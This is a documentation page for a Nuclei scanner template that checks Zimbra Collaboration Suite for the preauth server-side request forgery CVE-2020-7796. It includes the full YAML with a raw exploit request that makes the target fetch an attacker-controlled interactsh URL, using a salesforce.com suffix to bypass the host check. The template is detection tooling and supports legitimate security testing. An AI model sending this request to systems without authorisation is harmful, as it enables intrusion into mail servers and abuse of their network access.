Zimbra Collaboration Suite - Server-Side Request Forgery
ID: zimbra-preauth-ssrf
Severity: critical
Author: gy741
Tags: zimbra,ssrf,oast
Description
Section titled “Description”Zimbra Collaboration Suite (ZCS) allows remote unauthenticated attackers to cause the product to include content returned by third-party servers and use it as its own code.
YAML Source
Section titled “YAML Source”id: zimbra-preauth-ssrf
info: name: Zimbra Collaboration Suite - Server-Side Request Forgery author: gy741 severity: critical description: Zimbra Collaboration Suite (ZCS) allows remote unauthenticated attackers to cause the product to include content returned by third-party servers and use it as its own code. reference: - https://www.adminxe.com/2183.html - https://nvd.nist.gov/vuln/detail/CVE-2020-7796 - https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P7 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-7796 cwe-id: CWE-918 metadata: max-request: 1 tags: zimbra,ssrf,oast
http: - raw: - | GET /service/error/sfdc_preauth.jsp?session=s&userid=1&server=http://{{interactsh-url}}%23.salesforce.com/ HTTP/1.1 Host: {{Hostname}} Accept: */*
matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http"# digest: 4b0a00483046022100b9920eb5f0000c651380130d0c36e866aeae5893d6400d22cea71d36506eb0e5022100dd3102c421f645a1ad4a16b0890c4bf2edfa16f073c7f71eeaa7dec4901d5d09:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/zimbra-preauth-ssrf.yaml"